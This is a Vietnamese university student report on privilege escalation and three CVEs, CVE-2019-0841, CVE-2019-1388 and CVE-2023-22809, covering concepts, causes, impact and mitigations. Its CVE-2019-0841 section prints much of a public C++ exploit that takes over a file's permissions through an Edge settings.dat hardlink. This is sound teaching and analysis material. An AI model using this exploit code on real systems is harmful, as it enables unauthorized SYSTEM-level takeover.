1. Trang chủ
  2. » Giáo Dục - Đào Tạo

Khai thác lỗ hổng phần mềm Đề tài khai thác lỗ hổng cve 2019 0841, cve 2019 1388 và cve 2023 22809

49 22 0
Tài liệu đã được kiểm tra trùng lặp

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Tiêu đề Khai Thác Lỗ Hổng Phần Mềm Đề Tài Khai Thác Lỗ Hổng CVE 2019-0841, CVE 2019-1388 Và CVE 2023-22809
Tác giả Lê Văn Trọng, Phạm Văn Khanh, Cấn Thái Dương, Nguyễn Việt Anh, Nguyễn Đức Thắng
Người hướng dẫn TS. Nguyễn Mạnh Thắng
Trường học Học viện Kỹ thuật mật mã
Chuyên ngành An toàn thông tin
Thể loại đề tài
Năm xuất bản 2024
Thành phố Hà Nội
Định dạng
Số trang 49
Dung lượng 1,4 MB

Các công cụ chuyển đổi và chỉnh sửa cho tài liệu này

Nội dung

Leo thang đặcquyền là một kỹ thuật mà kẻ tấn công sử dụng để chiếm đoạt quyền truy cập caohơn trong một hệ thống máy tính, thường từ quyền người dùng thông thường lênquyền quản trị viên

Trang 1

BAN CƠ YẾU CHÍNH PHỦ

Nhóm sinh viên thực hiện – Nhóm 12:

Lê Văn Trọng – AT180446 Phạm Văn Khanh – AT180124 Cấn Thái Dương – AT180114

Nguyễn Việt Anh – AT180105 Nguyễn Đức Thắng - AT170445

Giảng viên hướng dẫn:

TS Nguyễn Mạnh Thắng

Khoa An toàn thông tin – Học viện Kỹ thuật mật mã

Hà Nội, 2024

Trang 2

MỤC LỤC

MỤC LỤC

MỤC LỤC HÌNH ẢNH

LỜI NÓI ĐẦU

Chương I: Cơ sở lý thuyết

1.1 Tổng quan về leo thang đặc quyền

1.1.1 Khãi niệm leo thang đặc quyền

1.1.2 Các loại leo thang đặc quyền

1.1.3 Cơ chế hoạt động của leo thang đặc quyền

1.1.4 Ngăn chặn cuộc tấn công leo thang đặc quyền

1.2 Windows AppX Deployment Service trên Windows

1.3 Windows Certificate Dialog và User Account Control trên Windows

1.4 Sudo và sudoedit trong hệ điều hành Linux

Chương II Giới thiệu về CVE 2019-0841, CVE 2019-1388 và CVE 2023-22809

2.1 CVE 2019-0841

2.1.1 Mô tả

2.1.2 Nguyên nhân xảy ra

2.1.3 Các phiên bản bị ảnh hưởng

2.1.4 Phân tích mã nguồn

2.1.5 Tác động của lỗ hổng đối với hệ thống

2.1.6 Giải pháp ngăn chặn

2.2 CVE 2019-1388

2.2.1 Mô tả

2.2.2 Nguyên nhân xảy ra

2.2.3 Các phiên bản bị ảnh hưởng

2.2.4 Phân tích mã nguồn

2.2.5 Tác động của lỗ hổng đối với hệ thống

2.2.6 Giải pháp ngăn chặn

2.3 CVE 2023-22809

2.3.1 Mô tả

2.3.2 Nguyên nhân xảy ra

2.3.3 Các phiên bản bị ảnh hưởng

2.3.4 Phân tích mã nguồn

2.3.5 Tác động của lỗ hổng đối với hệ thống

2.3.6 Giải pháp ngăn chặn

Chương III Triển khai thực nghiệm

3.1 Triển khai thực nghiệm CVE 2019-0841

3.2 Triển khai thực nghiệm CVE 2019-1388

3.3 Triển khai thực nghiệm CVE 2023-22809

Trang 3

MỤC LỤC HÌNH ẢNH

Hình 1.1: Tấn công leo thang đặc quyền 5

Hình 1.2: Các loại leo thang đặc quyền 6

Hình 3.1: Thực nghiệm CVE 2019-0841 36

Hình 3.2: Thực nghiệm CVE 2019-0841 37

Hình 3.3: Thực nghiệm CVE 2019-0841 37

Hình 3.4: Thực nghiệm CVE 2019-0841 38

Hình 3.5: Thực nghiệm CVE 2019-1388 38

Hình 3.6: Thực nghiệm CVE 2019-1388 39

Hình 3.7: Thực nghiệm CVE 2019-1388 40

Hình 3.8: Thực nghiệm CVE 2019-1388 40

Hình 3.8: Thực nghiệm CVE 2019-1388 41

Hình 3.9: Thực nghiệm CVE 2019-1388 41

Hình 3.10: Thực nghiệm CVE 2019-1388 42

Hình 3.11: Thực nghiệm CVE 2023-22809 43

Hình 3.12: Thực nghiệm CVE 2023-22809 43

Hình 3.13: Thực nghiệm CVE 2023-22809 44

Hình 3.14: Thực nghiệm CVE 2023-22809 44

Hình 3.15: Thực nghiệm CVE 2023-22809 44

Hình 3.16: Thực nghiệm CVE 2023-22809 45

Hình 3.17: Thực nghiệm CVE 2023-22809 46

Hình 3.18: Thực nghiệm CVE 2023-22809 46

Trang 4

LỜI NÓI ĐẦU

Trong lĩnh vực bảo mật thông tin, việc bảo vệ hệ thống khỏi các cuộc tấncông leo thang đặc quyền luôn là một trong những ưu tiên hàng đầu Leo thang đặcquyền là một kỹ thuật mà kẻ tấn công sử dụng để chiếm đoạt quyền truy cập caohơn trong một hệ thống máy tính, thường từ quyền người dùng thông thường lênquyền quản trị viên (administrator) hoặc cao hơn nữa Trong môi trường Windowshay Linux, nơi mà các hệ điều hành được sử dụng rộng rãi, đặc biệt trong các tổchức, doanh nghiệp lớn, việc khai thác các lỗ hổng leo thang đặc quyền có thể dẫnđến hậu quả nghiêm trọng, như mất mát dữ liệu, rò rỉ thông tin nhạy cảm, hoặcthậm chí là kiểm soát toàn bộ hệ thống

Một trong những lý do khiến các lỗ hổng leo thang đặc quyền trở nên nguyhiểm chính là sự tồn tại của những lỗ hổng trong các thành phần cốt lõi của hệ điềuhành, chẳng hạn như trong cơ chế phân quyền người dùng, dịch vụ hệ thống, hoặccác ứng dụng được cài đặt sẵn Các lỗ hổng này cho phép kẻ tấn công vượt quanhững cơ chế bảo vệ và thực hiện các hành động mà lẽ ra họ không có quyền thựchiện, như sửa đổi cấu hình hệ thống, thay đổi mật khẩu người dùng hoặc cài đặtphần mềm độc hại

Các lỗ hổng leo thang đặc quyền đặc biệt nguy hiểm vì chúng có thể đượckhai thác mà không cần có sự tương tác của người dùng cuối, hoặc chỉ cần một sốthao tác rất đơn giản từ phía kẻ tấn công Điều này khiến cho việc phát hiện vàngăn chặn các cuộc tấn công trở nên khó khăn và phức tạp hơn Các cuộc tấn côngnày có thể bắt đầu từ việc khai thác các lỗ hổng bảo mật trong các dịch vụ hệthống, như Windows AppX Deployment Service, Windows Certificate Dialog haytính năng sudoedit để từ đó mở rộng quyền truy cập lên các tài nguyên quan trọngtrong hệ thống

Đề tài này sẽ tập trung vào việc nghiên cứu và khai thác các lỗ hổng leo thangđặc quyền trong hệ điều hành Windows hay Linux, cụ thể là các lỗ hổng CVE2019-0841, CVE 2019-1388 và CVE 2023-22809, những lỗ hổng đã được pháthiện và cảnh báo rộng rãi trong cộng đồng bảo mật Báo cáo sẽ phân tích các đặcđiểm kỹ thuật của những lỗ hổng này, nguyên nhân gây ra chúng, tác động củachúng đối với hệ thống và phương pháp khắc phục hiệu quả Bên cạnh đó, báo cáocũng sẽ trình bày các phương thức phòng ngừa và bảo vệ hệ thống khỏi các cuộc

Trang 5

Chương 1: Cơ sở lý thuyết

1.1 Tổng quan về leo thang đặc quyền

1.1.1 Khái niệm leo thang đặc quyền

Hình 1.1: Tấn công leo thang đặc quyền

Leo thang đặc quyền (Escalating Privilege): là một cách thức phổ biến để tintặc có thể truy cập trái phép vào một hệ thống được bảo vệ Những kẻ tấn côngthường tìm một điểm yếu trong hệ thống phòng thủ của tổ chức và khai thác điểmyếu này để giành quyền truy cập vào hệ thống Trong đa số các trường hợp, điểmxâm nhập đầu tiên sẽ không cung cấp cho tin tặc mức độ truy cập hay dữ liệu mà

họ cần Sau đó, họ cố gắng khai thác những lỗ hổng trong hệ thống hoặc sử dụngnhững công cụ cụ thể để vượt qua cơ chế cấp phép của hệ thống và giành lấy mứctruy cập cao hơn, vượt quá những gì được dự định hoặc được hưởng đối với ngườidùng sau đó thu thập những dữ liệu nhạy cảm, bảo mật

Kẻ tấn công hiện sử dụng các đặc quyền kiếm được để đánh cắp dữ liệu bí mật

và triển khai phần mềm độc hại với mục đích làm hỏng hệ điều hành, các ứng dụngmáy chủ và cuối cùng là danh tiếng của một tổ chức Loại tấn công vào dữ liệu tổchức này có thể được thực hiện ngay cả bởi một tin tặc không tinh vi để đạt đượccác đặc quyền ngày càng tăng, lý do là hầu hết các tổ chức kinh doanh không sửdụng đủ các biện pháp bảo mật và kiểm soát

Trang 6

1.1.2 Các loại leo thang đặc quyền

Hình 1.2: Các loại leo thang đặc quyền

Có hai loại tấn công leo thang đặc quyền chính mà tác nhân đe dọa sử dụng:theo chiều dọc và theo chiều ngang Mặc dù cả hai loại đều liên quan đến việc kẻtấn công cố gắng truy cập trái phép vào tài nguyên hoặc thực hiện các hành độngđộc hại, cách thức thực hiện cuộc tấn công có thể liên quan đến các phương pháptiếp cận khác nhau

1.1.2.1 Leo thang đặc quyền theo chiều ngang (Horizontal privilege escalation)

Trong các cuộc tấn công leo thang đặc quyền theo chiều ngang, kẻ tấn côngmuốn giành quyền truy cập vào các tài nguyên hoặc khả năng ở cùng cấp độ đặcquyền như tài khoản hiện tại của họ nhưng ban đầu không được cấp cho họ. 

Mục tiêu là truy cập dữ liệu, tài nguyên hoặc chức năng bị hạn chế củangười dùng khác mà không làm tăng cấp độ đặc quyền của kẻ tấn công Các kỹthuật phổ biến để leo thang đặc quyền theo chiều ngang bao gồm:

- Tấn công mật khẩu:  Kẻ tấn công có thể sử dụng các kỹ thuật như đoánmật khẩu, tấn công bằng cách dùng vũ lực hoặc ghi lại phím để truy cậptrái phép vào tài khoản của người dùng khác có cùng cấp độ đặc quyền

- Chiếm quyền phiên: Kẻ tấn công có thể chặn, điều khiển hoặc chiếm

Trang 7

- Khai thác lỗ hổng ứng dụng:  Kẻ tấn công có thể khai thác lỗ hổng tronglogic ứng dụng, xác thực hoặc cơ chế kiểm soát truy cập để truy cập vàocác tài nguyên hoặc chức năng vốn chỉ dành riêng cho người dùng khác.

- Truyền hàm băm:  Kẻ tấn công lấy hàm băm mật khẩu và truyền nó để xácthực và truy cập ngang vào các hệ thống mạng khác

- Tấn công Silver Ticket và Golden Ticket:  Tấn công Golden Ticket từ bỏquyền kiểm soát hoàn toàn đối với Active Directory (AD) Ngoài ra, sửdụng silver ticket, kẻ tấn công có thể tạo nhiều ticket-granting service(TGS) cho một dịch vụ cụ thể mà không cần giao tiếp với bộ điều khiểnmiền (DC) trên mạng

1.1.2.2 Leo thang đặc quyền theo chiều dọc (Vertical privilege escalation)

Trong các cuộc tấn công leo thang đặc quyền theo chiều dọc, kẻ tấn công sẽ

cố gắng nâng quyền truy cập của mình từ cấp thấp hơn lên cấp cao hơn, chẳng hạnnhư chuyển từ tài khoản người dùng chuẩn lên tài khoản quản trị viên hoặc tàikhoản cấp hệ thống. 

Kiểu tấn công này cho phép kẻ tấn công kiểm soát hệ thống nhiều hơn, truycập các tài nguyên bị hạn chế và thực hiện các hành động không thể thực hiệnđược với cấp độ truy cập ban đầu của chúng Các kỹ thuật phổ biến để leo thangđặc quyền theo chiều dọc bao gồm:

- Khai thác lỗ hổng phần mềm:  Kẻ tấn công có thể lợi dụng lỗ hổng phầnmềm hoặc hệ điều hành chưa được vá để nâng cao đặc quyền của mình

- Cấu hình sai:  Hệ thống, dịch vụ hoặc quyền tệp được cấu hình kém có thểtạo cơ hội cho kẻ tấn công nâng cao đặc quyền

- Kỹ thuật xã hội:  Kẻ tấn công có thể lừa người dùng cung cấp thông tinxác thực đặc quyền hoặc thực hiện các hành động dẫn đến việc leo thangđặc quyền

1.1.3 Cơ chế hoạt động của leo thang đặc quyền

Các cuộc tấn công leo thang đặc quyền, dù theo chiều ngang hay chiều dọc,thường xoay quanh việc khai thác lỗ hổng liên quan đến quản lý đặc quyền, chẳnghạn như khai thác các lỗ hổng trong phần mềm, hay các lỗi hệ thống hoặc là lợidụng cấu hình sai, v.v

Tất cả các tài khoản tương tác với hệ thống đều có một mức đặc quyền nhấtđịnh, bất kể chủ tài khoản có biết hay không Người dùng thông thường thường bịhạn chế quyền truy cập vào cơ sở dữ liệu hệ thống, tệp nhạy cảm hoặc các nguồn

Trang 8

thông tin có giá trị khác Đây là lý do tại sao họ thậm chí có thể không nhận thứcđược những hạn chế về đặc quyền của mình – không giống như những tác nhânđộc hại, họ không cần phải truy cập thông tin vượt quá phạm vi được chỉ định.

Để hiểu rõ hơn về việc leo thang đặc quyền, điều quan trọng là phải nhận ranăm kỹ thuật chính mà kẻ tấn công sử dụng để có được quyền hoặc quyền truy cậpcao hơn: khai thác thông tin xác thực (ví dụ: sử dụng mật khẩu yếu), lỗ hổng vàkhai thác hệ thống, cấu hình sai, phần mềm độc hại và kỹ thuật xã hội

Bằng cách sử dụng một hoặc nhiều phương pháp này, những kẻ tấn công cóthể xâm nhập vào hệ thống Sau khi có được quyền truy cập, chúng sẽ quan sát môitrường, chờ thời điểm thích hợp để bắt đầu hành động tiếp theo—tăng đặc quyềncho các tài khoản có nhiều quyền hơn so với tài khoản bị xâm phạm ban đầu Tùythuộc vào mục tiêu của mình, kẻ tấn công có thể tiếp tục tăng đặc quyền để kiểmsoát tài khoản quản trị viên hoặc tài khoản gốc hoặc duy trì chuyển động ngangcho đến khi cuối cùng chúng thống trị toàn bộ môi trường

1.1.4 Ngăn chặn cuộc tấn công leo thang đặc quyền

Trong an ninh mạng, việc ngăn chặn tấn công mạng hiệu quả luôn tốt hơn là

có một kế hoạch phục hồi thảm họa hợp lý Sau đây là một số biện pháp cơ bảnnhất được sử dụng để ngăn chặn các cuộc tấn công leo thang đặc quyền:

- Vá hệ thống thường xuyên: Điều quan trọng là phải có chiến lược quản lý

bản vá  Việc duy trì các hệ thống với các bản vá mới nhất có thể làm giảm khảnăng các tác nhân đe dọa sử dụng các lỗ hổng bảo mật đã biết trong các chươngtrình phần mềm hoặc hệ điều hành để tấn công

- Phương pháp xác thực mạnh: Triển khai xác thực hai yếu tố (2FA)

hoặc xác thực đa yếu tố (MFA) để ngăn chặn hành vi trộm cắp thông tin đăng nhập

và khiến kẻ xấu khó có thể truy cập trái phép

- Giám sát hoạt động của người dùng: Giám sát hoạt động của người dùng

để phát hiện hành vi đáng ngờ có thể chỉ ra rằng tài khoản được cấp đặc quyền đã

bị xâm phạm Phát hiện hành vi leo thang đặc quyền bao gồm việc theo dõi nhữngthay đổi đột ngột trong các mẫu hành vi của người dùng hoặc các hoạt động bấtthường của quản trị viên hệ thống

- Chính sách bảo mật mật khẩu mạnh: Đảm bảo có chính sách mật khẩu

yêu cầu người dùng tạo mật khẩu phức tạp, an toàn và được cập nhật thườngxuyên Điều này đặc biệt hữu ích trong các tổ chức lớn

Trang 9

của họ Điều này làm giảm thiệt hại tiềm ẩn nếu kẻ tấn công xâm phạm tài khoảncủa người dùng.

- Kiểm soát truy cập Sudo: Trong môi trường Linux, kiểm soát truy cập

sudo có thể giúp ngăn ngừa các sự cố leo thang đặc quyền Linux Quản lý đúngquyền sudo, bao gồm việc thường xuyên xem xét ai có quyền và lệnh nào họ đượcphép thực hiện với quyền cao hơn, giúp ngăn chặn mối đe dọa này

1.2 Windows AppX Deployment Service trên Windows

1.2.1 Tổng quan

Windows AppX Deployment Service (AppXSVC) là một dịch vụ quan trọngtrong hệ điều hành Windows, được sử dụng để triển khai, quản lý và duy trì cácứng dụng UWP (Universal Windows Platform) Những ứng dụng này thường đượctải về từ Microsoft Store hoặc cài đặt bằng tệp AppX hoặc AppXBundle

1.2.2 Chức năng chính của AppXSVC

AppXSVC chịu trách nhiệm cho các nhiệm vụ sau:

- Triển khai ứng dụng UWP:

o Khi người dùng tải về hoặc cài đặt một ứng dụng UWP, AppXSVC sẽgiải nén và cài đặt các thành phần của ứng dụng vào hệ thống

o Quản lý các tệp cấu hình, quyền truy cập và các thư viện cần thiết để ứng dụng hoạt động

- Quản lý quyền truy cập tệp (File Permissions):

o AppXSVC quản lý quyền truy cập các tệp của ứng dụng, đảm bảo rằng các tệp chỉ có thể được truy cập bởi người hoặc tiến trình có quyền

1.2.3 Vai trò trong hệ thống Windows

AppXSVC giúp duy trì tính ổn định và bảo mật của hệ thống Windows bằngcách:

Trang 10

- Cách ly các ứng dụng UWP khỏi các phần còn lại của hệ thống thông qua các container bảo mật (AppContainer).

- Quản lý quyền của ứng dụng để đảm bảo chúng không truy cập hoặc chỉnh sửa dữ liệu trái phép

1.3 Windows Certificate Dialog và User Account Control trên Windows

1.3.1 Windows Certificate Dialog

Windows Certificate Dialog (Hộp thoại chứng chỉ Windows) là giao diệnngười dùng xuất hiện trên hệ điều hành Windows để quản lý, xem hoặc xác nhậnchứng chỉ số được sử dụng trong các hoạt động liên quan đến bảo mật Chứng chỉ

số là các tệp dữ liệu số, được sử dụng để xác thực danh tính của một thực thể (nhưngười dùng, tổ chức, hoặc máy tính) và để mã hóa thông tin liên lạc

Windows Certificate Dialog là công cụ trong Windows dùng để quản lý vàxác thực chứng chỉ số, hỗ trợ nhiều chức năng bảo mật quan trọng Nó cho phépngười dùng xác thực danh tính của các trang web, ứng dụng, hoặc email bằng cáchkiểm tra chứng chỉ số, đảm bảo chúng được cấp bởi một tổ chức đáng tin cậy.Công cụ này hiển thị chi tiết thông tin chứng chỉ, như tên tổ chức, đối tượng sửdụng, thời gian hiệu lực, và thuật toán mã hóa Khi gặp chứng chỉ không hợp lệ,hết hạn, hoặc không đáng tin cậy, Windows Certificate Dialog cung cấp cảnh báo

để người dùng quyết định tiếp tục hoặc hủy kết nối Ngoài ra, nó cho phép ngườidùng thêm, xóa, hoặc quản lý chứng chỉ lưu trữ trong các kho như Trusted RootCertification Authorities hoặc Personal Những chức năng này góp phần tăngcường bảo mật trong các hoạt động như duyệt web an toàn, ký số tài liệu, hoặc mãhóa dữ liệu

1.3.2 User Account Control

UAC (User Account Control) là một tính năng bảo mật trong hệ điều hànhWindows, được giới thiệu lần đầu tiên trong Windows Vista và hiện vẫn có mặttrong các phiên bản Windows mới UAC giúp ngăn ngừa các chương trình độc hại

và các thay đổi trái phép trong hệ thống bằng cách yêu cầu người dùng xác nhậnhoặc cung cấp quyền quản trị khi một ứng dụng hoặc chương trình yêu cầu thayđổi quan trọng

Chức năng chính của UAC (User Account Control) là bảo vệ hệ thống máy

Trang 11

cầu sự xác nhận hoặc quyền quản trị từ người dùng trước khi thực hiện các thao tác

có thể ảnh hưởng đến hệ thống Các chức năng chính của UAC bao gồm:

- Ngăn ngừa thay đổi trái phép: UAC giúp ngăn chặn các chương trình khôngxác định hoặc các phần mềm độc hại thay đổi các cài đặt hệ thống hoặc tệpquan trọng mà không có sự cho phép của người dùng hoặc quản trị viên

- Bảo vệ quyền riêng tư và dữ liệu: Khi một ứng dụng yêu cầu quyền truy cậpvào các tài nguyên hệ thống hoặc dữ liệu nhạy cảm, UAC yêu cầu ngườidùng xác nhận, giúp bảo vệ dữ liệu cá nhân khỏi các hành động trái phép

- Tăng cường bảo mật hệ thống: UAC giúp giảm thiểu nguy cơ phần mềmđộc hại chiếm quyền điều khiển hệ thống bằng cách hạn chế quyền của cácứng dụng khi không có sự cho phép của người dùng

- Thông báo khi có thay đổi hệ thống: UAC cảnh báo người dùng khi có mộtthay đổi sắp được thực hiện (ví dụ: cài đặt phần mềm hoặc thay đổi các càiđặt hệ thống), giúp người dùng quyết định có cho phép thay đổi haykhông

- Phân quyền rõ ràng giữa người dùng và quản trị viên: UAC giúp phân biệtgiữa các tài khoản người dùng và tài khoản quản trị viên, yêu cầu sự xácnhận của người quản trị khi thực hiện các hành động quan trọng

1.4 Sudo và sudoedit trong hệ điều hành Linux

1.4.1 Sudo

Sudo là viết tắt của Superuser do, và nó là một chương trình được sử dụngtrên Linux cho phép người dùng với quyền hạn phù hợp thực thi các lệnh hoặchành động của một người dùng khác, thường là root Do đó, nó có thể được sửdụng để cấp quyền cho người dùng chạy một chương trình hoặc lệnh cụ thể màkhông cần cấp cho họ quyền truy cập cấp cao, chẳng hạn như quyền root

Cách hoạt động của sudo: Khi một người dùng cố gắng thực thi lệnh sudo,chương trình sẽ kiểm tra và xác minh quyền hạn của người dùng trong tệp/etc/sudoers, tệp cấu hình chứa danh sách người dùng và quyền của họ Tệp nàyđược sử dụng để xác định những người dùng nào được phép chạy các lệnh cụ thểvới quyền của người dùng khác (thường là root), tùy thuộc vào các cấu hình đãđược thiết lập Nếu người dùng được phép chạy lệnh với sudo, họ sẽ được yêu cầunhập mật khẩu của mình để xác nhận danh tính trước khi lệnh được thực thi vớiquyền nâng cao Một cách khác là nếu người dùng được liệt kê trong tệp sudoersvới tùy chọn NOPASSWD, người dùng có thể chạy một lệnh hoặc tất cả các lệnhvới quyền root mà không cần xác nhận mật khẩu

Trang 12

1.4.2 Sudoedit

Sudoedit là một tiện ích con trong bộ công cụ sudo trên hệ điều hành Linux,được thiết kế để cho phép người dùng chỉnh sửa các tệp hệ thống quan trọng màkhông cần phải mở chúng trực tiếp với quyền root Mục đích của sudoedit là giảmthiểu nguy cơ khi chỉnh sửa các tệp hệ thống, bởi vì việc chỉnh sửa trực tiếp dướiquyền root có thể dẫn đến các lỗi nghiêm trọng, đặc biệt khi người dùng không cẩnthận

Khi sử dụng sudoedit, tệp cần chỉnh sửa sẽ được sao chép vào một thư mụctạm thời (chẳng hạn như /tmp), và sau đó mở ra trong một trình soạn thảo văn bản

mà người dùng đã cấu hình thông qua biến môi trường EDITOR (ví dụ nano, vi,vim, ) Người dùng chỉ có thể chỉnh sửa bản sao tạm thời của tệp, giúp hạn chếcác sai sót có thể gây ảnh hưởng đến tệp hệ thống gốc

Sau khi chỉnh sửa xong, sudoedit sẽ sao chép tệp đã chỉnh sửa trở lại vị trí banđầu và thay thế tệp cũ Cách tiếp cận này giúp bảo vệ hệ thống khỏi các thay đổisai sót và cung cấp một cách an toàn để quản trị viên hệ thống có thể chỉnh sửa cáctệp quan trọng mà không cần phải thao tác trực tiếp với quyền root

Trang 13

Chương 2 Giới thiệu về CVE 2019-0841, CVE 2019-1388 và

2.1.2 Nguyên nhân xảy ra

Nguyên nhân chính của lỗ hổng này là do hệ điều hành Windows không xácminh chính xác quyền truy cập trong quá trình xử lý các liên kết cứng của tệp.Điều này dẫn đến việc kẻ tấn công có thể thay đổi dữ liệu thuộc về các tài khoản cóquyền cao hơn, như SYSTEM

2.1.3 Các phiên bản bị ảnh hưởng

Lỗ hổng này ảnh hưởng đến các phiên bản sau của Microsoft Windows:

- Windows 10 (Phiên bản 1809 và trước đó)

- Windows Server 2019

2.1.4 Phân tích mã nguồn

2.1.4.1 Kiểm tra quyền trên tệp (CheckFilePermissions)

Mô tả: Kiểm tra xem người dùng hiện tại có quyền sửa đổi hoặc kiểmsoát toàn bộ tệp hay không

Đầu vào: Đường dẫn tệp cần kiểm tra

Đầu ra:

o true: Người dùng có quyền Full Control.

o false: Người dùng không có quyền hoặc gặp lỗi khác

bool CheckFilePermissions(_TCHAR* target) {

_tprintf(_T("[+] Checking File privileges of %s\n"), target);

FILE *fp = _wfopen(target, TEXT("a"));

if (fp == NULL) {

if (errno == EACCES) {

Trang 14

std::cerr << "[+] You don't have 'Modify/Write' privileges on this file " << std::endl;

return false;

}else {

std::cerr << "[+] Something went wrong: " << strerror(errno) <<std::endl;

return false;

}}

2.1.4.2 Tạo hardlink native (CreateNativeHardlink)

Mô tả: Tạo liên kết cứng giữa hai tệp sử dụng API cấp thấpZwSetInformationFile

Đầu vào:

o linkname: Tên liên kết

o targetname: Tên tệp mục tiêu

Đầu ra:

o true: Tạo liên kết thành công

o false: Lỗi trong quá trình thực thi.

bool CreateNativeHardlink(LPCWSTR linkname, LPCWSTR targetname)

{

std::wstring full_linkname = BuildFullPath(linkname, true);

size_t len = full_linkname.size() * sizeof(WCHAR);

Trang 15

typed_buffer_ptr<FILE_LINK_INFORMATION>

link_info(sizeof(FILE_LINK_INFORMATION) + len - sizeof(WCHAR));

memcpy(&link_info->FileName[0], full_linkname.c_str(), len);

link_info->ReplaceIfExists = TRUE;

link_info->FileNameLength = len;

std::wstring full_targetname = BuildFullPath(targetname, true);

HANDLE hFile = OpenFileNative(full_targetname.c_str(), nullptr,

return true;

}SetNtLastError(status);

Chức năng liên quan:

o CreateToolhelp32Snapshot: Chụp ảnh danh sách tiến trình

o TerminateProcess: Kết thúc tiến trình

Trang 16

bool IsProcessRunning(const wchar_t* processName) {

bool exists = false;

HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0,

Trang 17

TerminateProcess(hProcess, 9);

CloseHandle(hProcess);

}}

hRes = Process32Next(hSnapShot, &pEntry);

}

CloseHandle(hSnapShot);

}

2.1.4.4 Kiểm tra tệp có tồn tại (FileExists)

Mô tả: Xác định xem tệp có tồn tại trong hệ thống hay không

Đầu vào: Đường dẫn tệp

Đầu ra:

o true: Tệp tồn tại.

o false: Tệp không tồn tại.

bool FileExists(const wchar_t* file) {

if (INVALID_FILE_ATTRIBUTES == GetFileAttributes(file) &&

o Kiểm tra quyền truy cập vào tệp mục tiêu.

o Kết thúc tiến trình Microsoft Edge nếu đang chạy.

o Tạo liên kết cứng từ tệp cấu hình của Edge (settings.dat) đến tệp

mục tiêu

Trang 18

o Khởi động lại Microsoft Edge để kích hoạt quyền truy cập mới trên

printf("[!] Microsoft Edge is running :(\n");

printf("[!] File is in use by NT AUTHORITY\\SYSTEM \n");printf("[!] Killing Microsoft Edge ");

killProcessByName(L"MicrosoftEdge.exe");

printf("DONE\n");

printf("[+] Retrying \n");

}}

else {

printf("[+] Microsoft Edge is not running :)\n");

Trang 19

void gimmeroot(_TCHAR* targetpath, bool hijack) {

wchar_t *userprofile = _wgetenv(L"USERPROFILE");

wchar_t *relpath = (L"\\AppData\\Local\\Packages\\

Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Settings\\settings.dat"); //MS Edge Settings file location

printf("[+] Starting up Microsoft Edge to force reset \n");

try {

system("start microsoft-edge:");

}catch ( ) {}

Sleep(3000);

printf("[!] Killing Microsoft Edge again \n");

Trang 20

_tprintf(_T("[+] Checking File privileges again \n"));

if (!CheckFilePermissions(targetpath)) {

printf("[!] File Takeover Failed! \n");

printf("[!] File might be in use by another process or NT AUTHORITY\\SYSTEM does not have 'Full Control' permissions on the file! \n");

printf("[!] Try another file \n");

}}

printf("# Privileged DACL Overwrite EoP\n");

printf("# CVE: CVE-2019-0841\n");

printf("# Exploit Author: Nabeel Ahmed (@rogue_kdc)\n");

printf("# Tested on: Microsoft Windows 10 x32 & x64\n");

printf("# Category: Local\n");

printf(" -\n");

printf("[+] Usage: exploit.exe <path to file to takeover>\n");

printf("[+] (E.g., exploit.exe C:\\Windows\\win.ini\n");

printf(" -\n");

}

Trang 21

if (argc < 3) {

printf("# Privileged DACL Overwrite EoP\n");

printf("# CVE: CVE-2019-0841\n");

printf("# Exploit Author: Nabeel Ahmed (@rogue_kdc)\n");

printf("# Tested on: Microsoft Windows 10 x32 & x64\n");

printf("# Category: Local\n");

printf(" -\n");printf("\n");

printf("\n");

gimmeroot(argv[1],false);

}}

catch ( ) {}

}

exit(0);

}

2.1.5 Tác động của lỗ hổng đối với hệ thống

Nếu khai thác thành công, kẻ tấn công có thể:

- Tăng đặc quyền từ tài khoản có quyền hạn thấp (non-admin) lên quyềnSYSTEM

- Cài đặt phần mềm độc hại, thay đổi hoặc xóa dữ liệu trên hệ thống

- Thực hiện các hành động như quản trị viên hợp pháp trên máy mục tiêu

2.1.6 Giải pháp ngăn chặn

- Cập nhật bản vá bảo mật: Microsoft đã phát hành bản vá cho lỗ hổng nàyvào ngày 9/4/2019 Người dùng nên cập nhật hệ điều hành qua WindowsUpdate

- Giới hạn quyền truy cập: Áp dụng nguyên tắc Least Privilege để giới hạnquyền truy cập của các tài khoản trên hệ thống

Trang 22

- Giám sát hệ thống: Sử dụng các công cụ phát hiện xâm nhập (IDS) để theodõi và phát hiện các hoạt động bất thường liên quan đến quyền truy cập tệp.

- Phân tích log: Thường xuyên kiểm tra các nhật ký hệ thống để tìm kiếm dấuhiệu của việc khai thác hoặc thao tác quyền không hợp lệ

2.2 CVE 2019-1388

2.2.1 Mô tả

CVE-2019-1388 là một lỗ hổng bảo mật thuộc loại Elevation of Privilege(EoP) trên hệ điều hành Windows Lỗ hổng này cho phép kẻ tấn công cục bộ nângcao quyền hạn từ tài khoản người dùng tiêu chuẩn lên quyền quản trị viên thôngqua việc khai thác cơ chế User Account Control (UAC) bằng việc khai thácWindows Certificate Dialog

Cơ chế bị khai thác: Khi một ứng dụng có chứng chỉ hợp lệ yêu cầu quyềnquản trị qua hộp thoại UAC, thông tin về nguồn gốc của ứng dụng không đượchiển thị đầy đủ Điều này có thể làm người dùng hiểu nhầm rằng yêu cầu là hợppháp và nhấp vào "Yes", dẫn đến việc thực thi mã độc với quyền quản trị viên.Mức độ ảnh hưởng:

Ứng dụng mã độc có thể được thực thi với quyền cao nhất

Kẻ tấn công có thể cài đặt phần mềm độc hại, chỉnh sửa cấu hình hệ thống,hoặc xóa dữ liệu quan trọng

2.2.2 Nguyên nhân xảy ra

Nguyên nhân chính của lỗ hổng :

Xử lý thông tin nguồn gốc không đầy đủ trong UAC

- Hộp thoại UAC thường hiển thị thông tin nguồn gốc của ứng dụng (như nhàcung cấp hoặc đường dẫn URL)

- Trong một số trường hợp, UAC không hiển thị hoặc hiển thị sai thông tinnguồn gốc Người dùng không thể phân biệt giữa ứng dụng hợp pháp và mãđộc, dễ bị lừa để cấp quyền quản trị

Tin cậy mặc định vào ứng dụng có chứng chỉ ký số

- Các ứng dụng có chứng chỉ ký số được Windows coi là đáng tin cậy, giảmmức độ kiểm tra bảo mật

- Kẻ tấn công có thể lợi dụng một ứng dụng hợp lệ, ký số hợp pháp nhưng

Trang 23

Thiết kế không chặt chẽ trong cơ chế "Run as administrator"

- Cơ chế "Run as administrator" cho phép một ứng dụng được nâng quyền quaUAC

